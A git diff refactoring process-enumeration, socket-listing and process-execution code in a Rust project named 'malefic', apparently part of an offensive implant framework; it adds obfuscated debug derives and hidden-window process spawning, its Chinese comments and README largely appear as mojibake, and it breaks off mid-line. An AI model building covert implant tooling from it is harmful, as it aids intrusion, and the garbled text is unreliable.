@@ -16,7 +16,9 @@ pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result Result { sockets.extend(netlink_sockets); @@ -43,33 +49,36 @@ pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result { if tcp { if ipv4 { - sockets.extend(procfs::read_proc_net_file(Protocol::Tcp, "/proc/net/tcp")?); + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Tcp, "/proc/net/tcp") { + sockets.extend(socks); + } } if ipv6 { - sockets.extend(procfs::read_proc_net_file( - Protocol::Tcp6, - "/proc/net/tcp6", - )?); + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Tcp6, "/proc/net/tcp6") + { + sockets.extend(socks); + } } } if udp { if ipv4 { - sockets.extend(procfs::read_proc_net_file(Protocol::Udp, "/proc/net/udp")?); + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Udp, "/proc/net/udp") { + sockets.extend(socks); + } } if ipv6 { - sockets.extend(procfs::read_proc_net_file( - Protocol::Udp6, - "/proc/net/udp6", - )?); + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Udp6, "/proc/net/udp6") + { + sockets.extend(socks); + } } } - // 回退到 procfs æ—¶ä¹Ÿè¦æ·»åŠ  Unix domain sockets - sockets.extend(procfs::read_proc_net_file( - Protocol::Unix, - "/proc/net/unix", - )?); + // Also add Unix domain sockets when falling back to procfs + if let Ok(socks) = procfs::read_proc_net_file(Protocol::Unix, "/proc/net/unix") { + sockets.extend(socks); + } } } diff --git a/malefic-helper/src/linux/netstat/netlink.rs b/malefic-crates/net/src/linux/netlink.rs similarity index 97% rename from malefic-helper/src/linux/netstat/netlink.rs rename to malefic-crates/net/src/linux/netlink.rs index 358db5b..48dc8eb 100644 --- a/malefic-helper/src/linux/netstat/netlink.rs +++ b/malefic-crates/net/src/linux/netlink.rs @@ -330,7 +330,8 @@ fn parse_unix_response(buf: Vec) -> Result, Error> { let data_ptr = unsafe { buf.as_ptr().add(attr_offset + mem::size_of::()) }; let data_len = attr.nla_len as usize - mem::size_of::(); path = String::from_utf8_lossy( - &buf[attr_offset + mem::size_of::()..attr_offset + data_len], + &buf[attr_offset + mem::size_of::() + ..attr_offset + mem::size_of::() + data_len], ) .to_string(); break; @@ -434,11 +435,11 @@ fn find_pid_by_uid_and_inode(uid: u32, inode: u64) -> Option { continue; } - // æ£€æŸ¥æ˜¯å¦æ˜¯æ•°å­—(PID)目录 + // Check if it's a numeric (PID) directory if let Some(pid_str) = path.file_name() { if let Some(pid_str) = pid_str.to_str() { if let Ok(pid) = pid_str.parse::() { - // 首先检查进程的 uid + // First check the process uid if let Ok(status) = std::fs::read_to_string(path.join("status")) { if !status.lines().any(|line| { line.starts_with("Uid:") @@ -451,7 +452,7 @@ fn find_pid_by_uid_and_inode(uid: u32, inode: u64) -> Option { continue; } - // æ£€æŸ¥æ˜¯å¦æœ‰åŒ¹é…çš„ socket inode + // Check if there's a matching socket inode let fd_dir = path.join("fd"); if let Ok(fd_entries) = std::fs::read_dir(fd_dir) { for fd_entry in fd_entries.filter_map(Result::ok) { @@ -465,7 +466,7 @@ fn find_pid_by_uid_and_inode(uid: u32, inode: u64) -> Option { } } - // 检查线程的文件æè¿°ç¬¦ + // Check thread file descriptors let task_dir = path.join("task"); if let Ok(task_entries) = std::fs::read_dir(task_dir) { for task_entry in task_entries.filter_map(Result::ok) { diff --git a/malefic-helper/src/linux/netstat/procfs.rs b/malefic-crates/net/src/linux/procfs.rs similarity index 94% rename from malefic-helper/src/linux/netstat/procfs.rs rename to malefic-crates/net/src/linux/procfs.rs index c4769d2..bca33d5 100644 --- a/malefic-helper/src/linux/netstat/procfs.rs +++ b/malefic-crates/net/src/linux/procfs.rs @@ -54,10 +54,10 @@ impl ProcReader { let socket_type = type_and_state & 0xf; let flags = u32::from_str_radix(fields[5], 16).ok()?; - // æ ¹æ® /proc/net/unix 的格å¼ï¼Œflags 字段的å«ä¹‰ï¼š - // 0x00000000: 未连接 - // 0x00000001: 已连接 - // 0x00000010: æ­£åœ¨ç›‘å¬ + // According to /proc/net/unix format, flags field meanings: + // 0x00000000: not connected + // 0x00000001: connected + // 0x00000010: listening let state = match socket_type { 1 => { // SOCK_STREAM @@ -155,7 +155,7 @@ impl ProcReader { } pub fn find_process_by_inode(inode: u64) -> Option { - // 首先检查所有进程的文件æè¿°ç¬¦ + // First check all process file descriptors if let Ok(entries) = std::fs::read_dir("/proc") { for entry in entries.filter_map(Result::ok) { let path = entry.path(); @@ -163,11 +163,11 @@ pub fn find_process_by_inode(inode: u64) -> Option { continue; } - // æ£€æŸ¥æ˜¯å¦æ˜¯æ•°å­—(PID)目录 + // Check if it's a numeric (PID) directory if let Some(pid_str) = path.file_name() { if let Some(pid_str) = pid_str.to_str() { if let Ok(pid) = pid_str.parse::() { - // 检查进程的文件æè¿°ç¬¦ + // Check process file descriptors let fd_dir = path.join("fd"); if let Ok(fd_entries) = std::fs::read_dir(fd_dir) { for fd_entry in fd_entries.filter_map(Result::ok) { @@ -181,7 +181,7 @@ pub fn find_process_by_inode(inode: u64) -> Option { } } - // 检查线程的文件æè¿°ç¬¦ + // Check thread file descriptors let task_dir = path.join("task"); if let Ok(task_entries) = std::fs::read_dir(task_dir) { for task_entry in task_entries.filter_map(Result::ok) { @@ -207,7 +207,7 @@ pub fn find_process_by_inode(inode: u64) -> Option { } } - // 如果没有找到,å°è¯•从 /proc/net/tcp å’Œ /proc/net/udp 中查找 + // If not found, try to find from /proc/net/tcp and /proc/net/udp for file in &[ "/proc/net/tcp", "/proc/net/tcp6", @@ -220,7 +220,7 @@ pub fn find_process_by_inode(inode: u64) -> Option { if fields.len() >= 10 { if let Ok(socket_inode) = fields[9].parse::() { if socket_inode == inode { - // 找到匹é…çš„ inode,现在å°è¯•通过 uid 找到对应的进程 + // Found matching inode, now try to find corresponding process by uid if let Ok(uid) = fields[7].parse::() { return find_pid_by_uid(uid); } diff --git a/malefic-helper/src/linux/netstat/socket.rs b/malefic-crates/net/src/linux/socket.rs similarity index 95% rename from malefic-helper/src/linux/netstat/socket.rs rename to malefic-crates/net/src/linux/socket.rs index 74fb44e..3bc696e 100644 --- a/malefic-helper/src/linux/netstat/socket.rs +++ b/malefic-crates/net/src/linux/socket.rs @@ -1,6 +1,7 @@ +use malefic_gateway::ObfDebug; use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; -#[derive(Debug, Clone)] +#[derive(ObfDebug, Clone)] pub struct Socket { pub local_addr: String, pub remote_addr: String, @@ -9,7 +10,7 @@ pub struct Socket { pub state: String, } -#[derive(Debug, Clone, Copy)] +#[derive(ObfDebug, Clone, Copy)] pub enum Protocol { Tcp, Tcp6, diff --git a/malefic-helper/src/win/netstat/mod.rs b/malefic-crates/net/src/win/mod.rs similarity index 100% rename from malefic-helper/src/win/netstat/mod.rs rename to malefic-crates/net/src/win/mod.rs diff --git a/malefic-crates/process/Cargo.toml b/malefic-crates/process/Cargo.toml new file mode 100644 index 0000000..d890417 --- /dev/null +++ b/malefic-crates/process/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "malefic-process" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = { workspace = true } +async-process = { workspace = true } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_System_Threading", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_ProcessStatus", + "Win32_System_SystemInformation", + "Win32_Security", + "Win32_UI_Shell", + "Win32_UI_WindowsAndMessaging", + "Win32_Storage_FileSystem", + "Wdk_System_Threading", + "Wdk_System", +] } + +[target.'cfg(unix)'.dependencies] +nix = { workspace = true } +libc = { workspace = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "macros"] } diff --git a/malefic-crates/process/README.md b/malefic-crates/process/README.md new file mode 100644 index 0000000..352f8f1 --- /dev/null +++ b/malefic-crates/process/README.md @@ -0,0 +1,93 @@ +# malefic-process + +跨平å°è¿›ç¨‹ç®¡ç†ä¸Žæžšä¸¾å·¥å…·åº“ï¼Œæ”¯æŒ Windowsã€Linuxã€macOSï¼ˆå« Android)。 + +## 功能简介 + +- æžšä¸¾ç³»ç»Ÿæ‰€æœ‰è¿›ç¨‹ï¼ŒèŽ·å– PIDã€PPIDã€è¿›ç¨‹åã€è·¯å¾„ã€æž¶æž„ã€æ‰€å±žç”¨æˆ·åŠå‘½ä»¤è¡Œå‚æ•° +- æ ¹æ® PID 查询å•ä¸ªè¿›ç¨‹çš„è¯¦ç»†ä¿¡æ¯ +- 获å–当å‰è¿›ç¨‹ä¿¡æ¯ +- 终止指定 PID 的进程(`kill`) +- åŒæ­¥ / 异步方å¼å¯åЍå­è¿›ç¨‹ï¼Œå¹¶æ•获 stdout 与 stderr +- 检测文件是å¦è¢«å ç”¨ï¼ˆ`is_file_in_use`) +- 调用系统 Shell 执行文件(Windows 使用 `ShellExecuteW`,Unix 直接 `spawn`) + +## å¹³å°å®žçް + +| å¹³å° | å®žçŽ°æ–¹å¼ | +|------|----------| +| Windows | ToolHelp32 快照枚举进程;`NtQueryInformationProcess` 获å–命令行;`IsWow64Process` 判断架构;Token æŸ¥è¯¢èŽ·å–æ‰€å±žç”¨æˆ· | +| Linux / Android | è¯»å– `/proc` 文件系统(`stat`ã€`status`ã€`exe`ã€`cmdline`ï¼‰ï¼›è§£æž ELF 头判断 32/64 ä½ | +| macOS | `sysctl` + `KERN_PROC` 枚举进程;`proc_pidpath` 获å–路径;`KERN_PROCARGS2` 读å–命令行;`P_LP64` 标志判断架构 | + +## 核心类型 + +```rust +pub struct Process { + pub name: String, // 进程å + pub pid: u32, // 进程 ID + pub ppid: u32, // 父进程 ID + pub arch: String, // 架构(x86 / x64 / arm / aarch64) + pub owner: String, // 所属用户 + pub path: String, // 坿‰§è¡Œæ–‡ä»¶è·¯å¾„ + pub args: String, // å‘½ä»¤è¡Œå‚æ•° +} +``` + +## 基本用法 + +```rust +use malefic_process::{get_processes, get_process, get_current_process, kill}; + +// 枚举所有进程 +let processes = get_processes().unwrap(); +for (pid, proc) in &processes { + println!("[{}] {} - {}", pid, proc.name, proc.path); +} + +// 查询å•个进程 +let proc = get_process(1234).unwrap(); +println!("owner: {}, arch: {}", proc.owner, proc.arch); + +// 获å–当å‰è¿›ç¨‹ +if let Some(current) = get_current_process() { + println!("当å‰è¿›ç¨‹: {} (PID {})", current.name, current.pid); +} + +// 终止进程 +kill(1234).unwrap(); +``` + +### å¯åЍå­è¿›ç¨‹ + +```rust +use malefic_process::{run_command, async_command}; + +// åŒæ­¥å¯åЍ +let child = run_command("/bin/ls".into(), vec!["-la".into()]).unwrap(); + +// 异步å¯åЍ +let child = async_command("/bin/ls".into(), vec!["-la".into()]).unwrap(); +``` + +### Shell 执行与文件å ç”¨æ£€æµ‹ + +```rust +use malefic_process::exec::{shell_execute, is_file_in_use}; + +if !is_file_in_use("/path/to/file") { + shell_execute("/path/to/file", "open").unwrap(); +} +``` + +## 注æ„事项 + +- Windows 下 `run_command` å’Œ `async_command` 使用 `CREATE_NO_WINDOW`(`0x08000000`)标志,ä¸ä¼šå¼¹å‡ºæŽ§åˆ¶å°çª—å£ +- 枚举进程时部分系统进程(如 PID 0)å¯èƒ½å› æƒé™ä¸è¶³è€Œè·³è¿‡ +- Linux é€šè¿‡è¯»å– ELF magic 字节判断架构,进程已退出或无æƒé™æ—¶è¿”回 `unknown` + +## å‚考链接 + +- [Windows ToolHelp32 API](https://learn.microsoft.com/en-us/windows/win32/toolhelp/tool-help-functions) +- [Linux /proc 文件系统](https://man7.org/linux/man-pages/man5/proc.5.html) +- [macOS sysctl KERN_PROC](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html) diff --git a/malefic-helper/src/darwin/process/mod.rs b/malefic-crates/process/src/darwin/mod.rs similarity index 66% rename from malefic-helper/src/darwin/process/mod.rs rename to malefic-crates/process/src/darwin/mod.rs index 2c381f2..1f8b83b 100644 --- a/malefic-helper/src/darwin/process/mod.rs +++ b/malefic-crates/process/src/darwin/mod.rs @@ -1,4 +1,4 @@ -use crate::common::process::Process; +use crate::Process; use libc::{ c_char, c_int, c_short, c_void, gid_t, pid_t, proc_pidpath, sysctl, uid_t, CTL_KERN, KERN_PROC, KERN_PROC_ALL, @@ -9,33 +9,22 @@ use std::ffi::CStr; use std::mem; use std::ptr; -// 常é‡å®šä¹‰ -#[allow(non_camel_case_types)] -type proc_pidinfo_t = i32; -const PROC_PIDPATHINFO: i32 = 11; -const PROC_PIDPATHINFO_MAXSIZE: u32 = 4096; const KERN_PROC_PID: i32 = 1; const P_LP64: i32 = 0x4; -pub const NGROUPS_MAX: libc::c_int = 16; -pub const NGROUPS: libc::c_int = NGROUPS_MAX; - +const PROC_PIDPATHINFO_MAXSIZE: u32 = 4096; +pub const NGROUPS: libc::c_int = 16; pub const WMESGLEN: libc::c_int = 7; - pub const COMAPT_MAXLOGNAME: libc::c_int = 12; #[allow(non_camel_case_types)] pub type caddr_t = *mut libc::c_void; - #[allow(non_camel_case_types)] pub type segsz_t = i32; - #[allow(non_camel_case_types)] pub type fixpt_t = u32; - #[allow(non_camel_case_types)] pub type u_quad_t = u64; -// 结构体定义 #[repr(C)] #[derive(Copy, Clone)] pub struct kinfo_proc { @@ -46,26 +35,18 @@ pub struct kinfo_proc { #[derive(Clone, Copy)] #[repr(C)] pub struct _pcred { - /// Opaque content. pub pc_lock: [libc::c_char; 72], - /// Current credentials. pub pc_ucred: *mut libc::c_void, - /// Real user identifier. pub p_ruid: libc::uid_t, - /// Saved effective user identifier. pub p_svuid: libc::uid_t, - /// Real group identifier. pub p_rgid: libc::gid_t, - /// Saved effective group identifier. pub p_svgid: libc::gid_t, - /// Reference count. pub p_refcnt: libc::c_int, } #[derive(Clone, Copy)] #[repr(C)] pub struct vmspace { - // `dummy*` is literally what is used in the original header. pub dummy: i32, pub dummy2: caddr_t, pub dummy3: [i32; 5], @@ -75,48 +56,29 @@ pub struct vmspace { #[derive(Clone, Copy)] #[repr(C)] pub struct _ucred { - /// Reference count. pub cr_ref: i32, - /// Effective user identifier. pub cr_uid: libc::uid_t, - /// Group count. pub cr_ngroups: libc::c_short, - /// Group identifiers. pub cr_groups: [libc::gid_t; NGROUPS as usize], } #[repr(C)] #[derive(Copy, Clone)] pub struct eproc { - /// Process address. pub e_paddr: *mut libc::c_void, - /// Session pointer. pub e_sess: *mut libc::c_void, - /// Process credentials. pub e_pcred: _pcred, - /// Current credentials. pub e_ucred: _ucred, - /// Address space. pub e_vm: vmspace, - /// Parent process identifier. pub e_ppid: libc::pid_t, - /// Process group identifier. pub e_pgid: libc::pid_t, - /// Job control counter. pub e_jobc: libc::c_short, - /// Controlling TTY device identifier. pub e_tdev: libc::dev_t, - /// Controlling TTY process group identifier. pub e_tpgid: libc::pid_t, - /// Controlling TTY session pointer. pub e_tsess: *mut libc::c_void, - /// Waiting channel message. pub e_wmesg: [libc::c_char; WMESGLEN as usize + 1], - /// Text size. pub e_xsize: segsz_t, - /// Text resident set size. pub e_xrssize: libc::c_short, - /// Text reference count. pub e_xccount: libc::c_short, pub e_xswrss: libc::c_short, pub e_flag: i32, @@ -139,77 +101,54 @@ pub union __c_anonymous_p_un { } #[derive(Clone, Copy)] - #[repr(C)] - pub struct extern_proc { - pub p_un: __c_anonymous_p_un, - pub p_vmspace: *mut vmspace, - pub p_sigacts: *mut libc::c_void, - pub p_flag: libc::c_int, - pub p_stat: libc::c_char, - pub p_pid: libc::pid_t, - pub p_oppid: libc::pid_t, - pub p_dupfd: libc::c_int, - pub user_stack: caddr_t, - pub exit_thread: *mut libc::c_void, - pub p_debugger: libc::c_int, - pub sigwait: libc::boolean_t, - pub p_estcpu: libc::c_uint, - pub p_cpticks: libc::c_int, - pub p_pctcpu: fixpt_t, - pub p_wchan: *mut libc::c_void, - pub p_wmesg: *mut libc::c_char, - pub p_swtime: libc::c_uint, - pub p_slptime: libc::c_uint, - pub p_realtimer: libc::itimerval, - pub p_rtime: libc::timeval, - pub p_uticks: u_quad_t, - pub p_sticks: u_quad_t, - pub p_iticks: u_quad_t, - pub p_traceflag: libc::c_int, - pub p_tracep: *mut libc::c_void, - pub p_siglist: libc::c_int, - pub p_textvp: *mut libc::c_void, - pub p_holdcnt: libc::c_int, - pub p_sigmask: libc::sigset_t, - pub p_sigignore: libc::sigset_t, - pub p_sigcatch: libc::sigset_t, - pub p_priority: libc::c_uchar, - pub p_usrpri: libc::c_uchar, - pub p_nice: libc::c_char, - pub p_comm: [libc::c_char; libc::MAXCOMLEN + 1], - pub p_pgrp: *mut libc::c_void, - pub p_addr: *mut libc::c_void, - pub p_xstat: libc::c_ushort, - pub p_acflag: libc::c_ushort, - pub p_ru: *mut libc::c_void, - } - - #[repr(C)] -#[derive(Copy, Clone)] -pub struct pcred { - pub pc_lock: [c_char; 72], - pub pc_ucred: *mut ucred, - pub p_ruid: uid_t, - pub p_svuid: uid_t, - pub p_rgid: gid_t, - pub p_svgid: gid_t, - pub p_refcnt: c_int, -} - -#[repr(C)] -#[derive(Copy, Clone)] -pub struct ucred { - pub cr_ref: c_int, - pub cr_uid: uid_t, - pub cr_ngroups: c_short, - pub cr_groups: [gid_t; 16], +pub struct extern_proc { + pub p_un: __c_anonymous_p_un, + pub p_vmspace: *mut vmspace, + pub p_sigacts: *mut libc::c_void, + pub p_flag: libc::c_int, + pub p_stat: libc::c_char, + pub p_pid: libc::pid_t, + pub p_oppid: libc::pid_t, + pub p_dupfd: libc::c_int, + pub user_stack: caddr_t, + pub exit_thread: *mut libc::c_void, + pub p_debugger: libc::c_int, + pub sigwait: libc::boolean_t, + pub p_estcpu: libc::c_uint, + pub p_cpticks: libc::c_int, + pub p_pctcpu: fixpt_t, + pub p_wchan: *mut libc::c_void, + pub p_wmesg: *mut libc::c_char, + pub p_swtime: libc::c_uint, + pub p_slptime: libc::c_uint, + pub p_realtimer: libc::itimerval, + pub p_rtime: libc::timeval, + pub p_uticks: u_quad_t, + pub p_sticks: u_quad_t, + pub p_iticks: u_quad_t, + pub p_traceflag: libc::c_int, + pub p_tracep: *mut libc::c_void, + pub p_siglist: libc::c_int, + pub p_textvp: *mut libc::c_void, + pub p_holdcnt: libc::c_int, + pub p_sigmask: libc::sigset_t, + pub p_sigignore: libc::sigset_t, + pub p_sigcatch: libc::sigset_t, + pub p_priority: libc::c_uchar, + pub p_usrpri: libc::c_uchar, + pub p_nice: libc::c_char, + pub p_comm: [libc::c_char; libc::MAXCOMLEN + 1], + pub p_pgrp: *mut libc::c_void, + pub p_addr: *mut libc::c_void, + pub p_xstat: libc::c_ushort, + pub p_acflag: libc::c_ushort, + pub p_ru: *mut libc::c_void, } pub fn get_processes() -> anyhow::Result> { let mut processes = HashMap::new(); unsafe { - // 获å–è¿›ç¨‹åˆ—è¡¨å¤§å° let mut mib = [CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0]; let mut size: usize = 0; if sysctl( @@ -223,12 +162,8 @@ pub fn get_processes() -> anyhow::Result> { { return Err(anyhow::anyhow!("Failed to get process list size")); } - - // 分é…缓冲区 let count = size / mem::size_of::(); let mut proc_list = vec![mem::zeroed::(); count]; - - // 获å–进程列表 if sysctl( mib.as_mut_ptr(), 3, @@ -240,8 +175,6 @@ pub fn get_processes() -> anyhow::Result> { { return Err(anyhow::anyhow!("Failed to get process list")); } - - // å¤„ç†æ¯ä¸ªè¿›ç¨‹ for proc_info in proc_list.iter().take(count) { let pid = proc_info.kp_proc.p_pid as u32; if let Ok(process) = get_process_info(pid) { @@ -249,7 +182,6 @@ pub fn get_processes() -> anyhow::Result> { } } } - Ok(processes) } @@ -257,17 +189,6 @@ pub fn get_current_pid() -> u32 { unsafe { libc::getpid() as u32 } } -pub fn get_parent_pid() -> anyhow::Result { - unsafe { Ok(libc::getppid() as u32) } -} - -pub fn get_current_process_name() -> String { - std::env::current_exe() - .ok() - .and_then(|p| p.file_name().map(|s| s.to_string_lossy().into_owned())) - .unwrap_or_default() -} - pub fn get_process_info(pid: u32) -> anyhow::Result { unsafe { let mut mib = [CTL_KERN, KERN_PROC, KERN_PROC_PID, pid as c_int]; @@ -281,11 +202,11 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { &mut size, std::ptr::null_mut(), 0, - ).eq(&-1) + ) + .eq(&-1) { return Err(anyhow::anyhow!("Failed to get process info")); } - if sysctl( mib.as_mut_ptr(), 4, @@ -298,15 +219,11 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { return Err(anyhow::anyhow!("Failed to get process info")); } - // 获å–进程å let name = CStr::from_ptr(proc_info.kp_proc.p_comm.as_ptr()) .to_string_lossy() .into_owned(); - - // 获å–父进程ID let ppid = proc_info.kp_eproc.e_ppid as u32; - // 获å–进程路径 let mut path_buf = vec![0u8; PROC_PIDPATHINFO_MAXSIZE as usize]; let path_len = proc_pidpath( pid as pid_t, @@ -321,13 +238,8 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { String::new() }; - // 获å–å‘½ä»¤è¡Œå‚æ•° let args = get_process_args(pid); - - // èŽ·å–æž¶æž„ä¿¡æ¯ let arch = get_process_architecture(pid)?; - - // èŽ·å–æ‰€æœ‰è€…ä¿¡æ¯ let owner = get_process_owner(proc_info.kp_eproc.e_ucred.cr_uid)?; Ok(Process { @@ -346,8 +258,6 @@ fn get_process_args(pid: u32) -> String { unsafe { let mut mib = [CTL_KERN, libc::KERN_PROCARGS2, pid as c_int]; let mut size: usize = 0; - - // 获å–傿•°å¤§å° if sysctl( mib.as_mut_ptr(), 3, @@ -359,8 +269,6 @@ fn get_process_args(pid: u32) -> String { { return String::new(); } - - // 分é…缓冲区 let mut buffer = vec![0u8; size]; if sysctl( mib.as_mut_ptr(), @@ -373,8 +281,6 @@ fn get_process_args(pid: u32) -> String { { return String::new(); } - - // è§£æžå‚æ•° let mut args = Vec::new(); let mut pos = mem::size_of::(); while pos < size { @@ -389,7 +295,6 @@ fn get_process_args(pid: u32) -> String { break; } } - args.join(" ") } } @@ -399,7 +304,6 @@ fn get_process_architecture(pid: u32) -> anyhow::Result { let mut mib = [CTL_KERN, KERN_PROC, KERN_PROC_PID, pid as c_int]; let mut proc_info: kinfo_proc = mem::zeroed(); let mut size = mem::size_of::(); - if sysctl( mib.as_mut_ptr(), mib.len() as _, @@ -407,10 +311,11 @@ fn get_process_architecture(pid: u32) -> anyhow::Result { &mut size, std::ptr::null_mut(), 0, - ).eq(&-1) { + ) + .eq(&-1) + { return Err(anyhow::anyhow!("Failed to get process architecture")); } - if sysctl( mib.as_mut_ptr(), 4, @@ -422,8 +327,6 @@ fn get_process_architecture(pid: u32) -> anyhow::Result { { return Ok("unknown".to_string()); } - - // 在 macOS ä¸Šï¼Œé€šè¿‡è¿›ç¨‹æ ‡å¿—åˆ¤æ–­æ˜¯å¦æ˜¯ 64 ä½è¿›ç¨‹ if proc_info.kp_proc.p_flag & P_LP64 != 0 { Ok("x64".to_string()) } else { diff --git a/malefic-helper/src/common/exec.rs b/malefic-crates/process/src/exec.rs similarity index 85% rename from malefic-helper/src/common/exec.rs rename to malefic-crates/process/src/exec.rs index 4b77cbd..f103a68 100644 --- a/malefic-helper/src/common/exec.rs +++ b/malefic-crates/process/src/exec.rs @@ -1,17 +1,6 @@ use std::io; use std::path::Path; -use std::ptr; -#[cfg(target_os = "windows")] -use windows::Win32::{ - Foundation::HWND, - UI::{Shell::ShellExecuteW, WindowsAndMessaging::SW_NORMAL}, -}; - -#[cfg(target_os = "windows")] -use windows::core::PCWSTR; - -/// æ£€æŸ¥æ–‡ä»¶æ˜¯å¦æ­£åœ¨è¢«ä½¿ç”¨ #[cfg(target_os = "windows")] pub fn is_file_in_use>(path: P) -> bool { use std::fs::OpenOptions; @@ -34,6 +23,10 @@ pub fn is_file_in_use>(_path: P) -> bool { #[cfg(target_os = "windows")] pub fn shell_execute>(path: P, operation: &str) -> io::Result<()> { use std::os::windows::prelude::OsStrExt; + use std::ptr; + use windows::core::PCWSTR; + use windows::Win32::Foundation::HWND; + use windows::Win32::UI::{Shell::ShellExecuteW, WindowsAndMessaging::SW_NORMAL}; let path = path.as_ref(); if is_file_in_use(path) { diff --git a/malefic-helper/src/common/process.rs b/malefic-crates/process/src/lib.rs similarity index 85% rename from malefic-helper/src/common/process.rs rename to malefic-crates/process/src/lib.rs index 05c5c07..3a9ad38 100644 --- a/malefic-helper/src/common/process.rs +++ b/malefic-crates/process/src/lib.rs @@ -1,11 +1,20 @@ #[cfg(target_os = "macos")] -use crate::darwin::process; +pub mod darwin; +pub mod exec; #[cfg(any(target_os = "linux", target_os = "android"))] -use crate::linux::process; +pub mod linux; #[cfg(target_os = "windows")] -use crate::win::process; +pub mod win; -use crate::{to_error, CommonError}; +#[cfg(target_os = "macos")] +use darwin as platform; +#[cfg(any(target_os = "linux", target_os = "android"))] +use linux as platform; +#[cfg(target_os = "windows")] +use win as platform; + +use malefic_common::errors::CommonError; +use malefic_gateway::ObfDebug; use std::collections::HashMap; use std::process::{Command, Stdio}; @@ -21,6 +30,7 @@ pub fn kill(pid: u32) -> Result<(), CommonError> { #[cfg(target_family = "windows")] pub fn kill(pid: u32) -> Result<(), CommonError> { + use malefic_common::to_error; use windows::Win32::Foundation::{CloseHandle, HANDLE}; use windows::Win32::System::Threading::{OpenProcess, TerminateProcess, PROCESS_TERMINATE}; @@ -33,8 +43,7 @@ pub fn kill(pid: u32) -> Result<(), CommonError> { Ok(()) } -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, Default)] +#[derive(ObfDebug, Clone, Default)] pub struct Process { pub name: String, pub pid: u32, @@ -46,12 +55,13 @@ pub struct Process { } pub fn get_process(pid: u32) -> anyhow::Result { - process::get_process_info(pid) + platform::get_process_info(pid) } pub fn get_processes() -> anyhow::Result> { - process::get_processes() + platform::get_processes() } + pub fn get_arch() -> String { if cfg!(target_arch = "x86_64") { "x86_64".to_string() @@ -67,14 +77,13 @@ pub fn get_arch() -> String { } pub fn get_current_process() -> Option { - get_process(process::get_current_pid()).ok() + get_process(platform::get_current_pid()).ok() } pub fn run_command( path: String, args: Vec, ) -> std::result::Result { - #[cfg(target_os = "windows")] { use std::os::windows::process::CommandExt; @@ -118,4 +127,3 @@ pub fn async_command( .spawn() } } - diff --git a/malefic-helper/src/linux/process/mod.rs b/malefic-crates/process/src/linux/mod.rs similarity index 66% rename from malefic-helper/src/linux/process/mod.rs rename to malefic-crates/process/src/linux/mod.rs index 77121dd..36d699b 100644 --- a/malefic-helper/src/linux/process/mod.rs +++ b/malefic-crates/process/src/linux/mod.rs @@ -1,4 +1,4 @@ -use crate::common::process::Process; +use crate::Process; use nix::unistd::{Uid, User}; use std::collections::HashMap; use std::fs; @@ -7,13 +7,8 @@ use std::path::Path; pub fn get_processes() -> anyhow::Result> { let mut processes = HashMap::new(); - - // é历 /proc 目录 - for entry in fs::read_dir("/proc")? { - let entry = entry?; + for entry in fs::read_dir("/proc")?.flatten() { let path = entry.path(); - - // åªå¤„ç†æ•°å­—命å的目录(进程ID) if let Some(pid_str) = path.file_name().and_then(|s| s.to_str()) { if let Ok(pid) = pid_str.parse::() { if let Ok(process) = get_process_info(pid) { @@ -22,7 +17,6 @@ pub fn get_processes() -> anyhow::Result> { } } } - Ok(processes) } @@ -30,34 +24,29 @@ pub fn get_current_pid() -> u32 { unsafe { libc::getpid() as u32 } } -pub fn get_parent_pid() -> anyhow::Result { - unsafe { Ok(libc::getppid() as u32) } -} - -pub fn get_current_process_name() -> String { - std::env::current_exe() - .ok() - .and_then(|p| p.file_name().map(|s| s.to_string_lossy().into_owned())) - .unwrap_or_default() -} - pub fn get_process_info(pid: u32) -> anyhow::Result { let proc_path = Path::new("/proc").join(pid.to_string()); - // è¯»å– /proc/[pid]/stat 文件获å–åŸºæœ¬ä¿¡æ¯ let stat = fs::read_to_string(proc_path.join("stat"))?; - let stat_parts: Vec<&str> = stat.split_whitespace().collect(); - // 获å–进程å(去掉括å·ï¼‰ - let name = stat_parts[1] - .trim_start_matches('(') - .trim_end_matches(')') - .to_string(); + // Process name is between first '(' and last ')' - handles names with spaces + let name_start = stat + .find('(') + .ok_or_else(|| anyhow::anyhow!("invalid stat"))? + + 1; + let name_end = stat + .rfind(')') + .ok_or_else(|| anyhow::anyhow!("invalid stat"))?; + let name = stat[name_start..name_end].to_string(); + + // Fields after ')': state ppid pgrp session ... + let rest = &stat[name_end + 2..]; + let rest_parts: Vec<&str> = rest.split_whitespace().collect(); + let ppid = rest_parts + .get(1) + .ok_or_else(|| anyhow::anyhow!("invalid stat"))? + .parse::()?; - // 获å–父进程ID - let ppid = stat_parts[3].parse::()?; - - // è¯»å– /proc/[pid]/status æ–‡ä»¶èŽ·å– UID let status = fs::read_to_string(proc_path.join("status"))?; let uid = status .lines() @@ -66,12 +55,10 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { .unwrap_or("0") .to_string(); - // è¯»å– /proc/[pid]/exe 链接获å–坿‰§è¡Œæ–‡ä»¶è·¯å¾„ let path = fs::read_link(proc_path.join("exe")) .map(|p| p.to_string_lossy().into_owned()) .unwrap_or_default(); - // è¯»å– /proc/[pid]/cmdline 获å–å‘½ä»¤è¡Œå‚æ•° let mut cmdline = String::new(); if let Ok(mut file) = fs::File::open(proc_path.join("cmdline")) { let mut buffer = Vec::new(); @@ -84,11 +71,8 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { } } - // èŽ·å–æž¶æž„ä¿¡æ¯ - let arch = get_process_architecture(pid)?; - - // èŽ·å–æ‰€æœ‰è€…ä¿¡æ¯ - let owner = 